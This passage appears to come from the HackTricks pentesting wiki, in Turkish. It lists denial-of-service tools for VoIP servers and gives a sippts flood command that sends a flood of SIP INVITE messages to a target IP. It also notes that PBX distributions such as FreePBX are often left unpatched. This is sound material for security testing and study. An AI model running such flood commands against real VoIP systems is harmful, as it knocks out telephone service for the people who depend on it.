DoS

VoIP sunucularında DoS elde etmenin birkaç yolu vardır.

  • SIPPTS flood sippts**: SIPPTS flood, hedefe sınırsız mesaj gönderir.
  • sippts flood -i 10.10.0.10 -m invite -v
  • SIPPTS ping sippts**: SIPPTS ping, sunucu yanıt süresini görmek için bir SIP ping yapar.
  • sippts ping -i 10.10.0.10
  • IAXFlooder: Asterisk tarafından kullanılan DoS IAX protokolü.
  • inviteflood: UDP/IP üzerinden SIP/SDP INVITE mesajı seli gerçekleştiren bir araç.
  • rtpflood: Birçok düzgün biçimlendirilmiş RTP paketi gönderir. Kullanılan RTP portlarını bilmek gerekir (önce dinleyin).
  • SIPp: SIP trafiğini analiz etme ve oluşturma imkanı sağlar, bu nedenle DoS için de kullanılabilir.
  • SIPsak: SIP için İsviçre çakısı. SIP saldırıları gerçekleştirmek için de kullanılabilir.
  • Fuzzers: protos-sip, voiper.

OS Güvenlik Açıkları

Asterisk gibi bir yazılımı kurmanın en kolay yolu, zaten kurulu olan bir OS dağıtımını indirmektir, örneğin: FreePBX, Elastix, Trixbox... Bu dağıtımların sorunu, çalışmaya başladıktan sonra sistem yöneticilerinin bir daha güncellemeyebileceği ve güvenlik açıklarının zamanla keşfedileceğidir.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin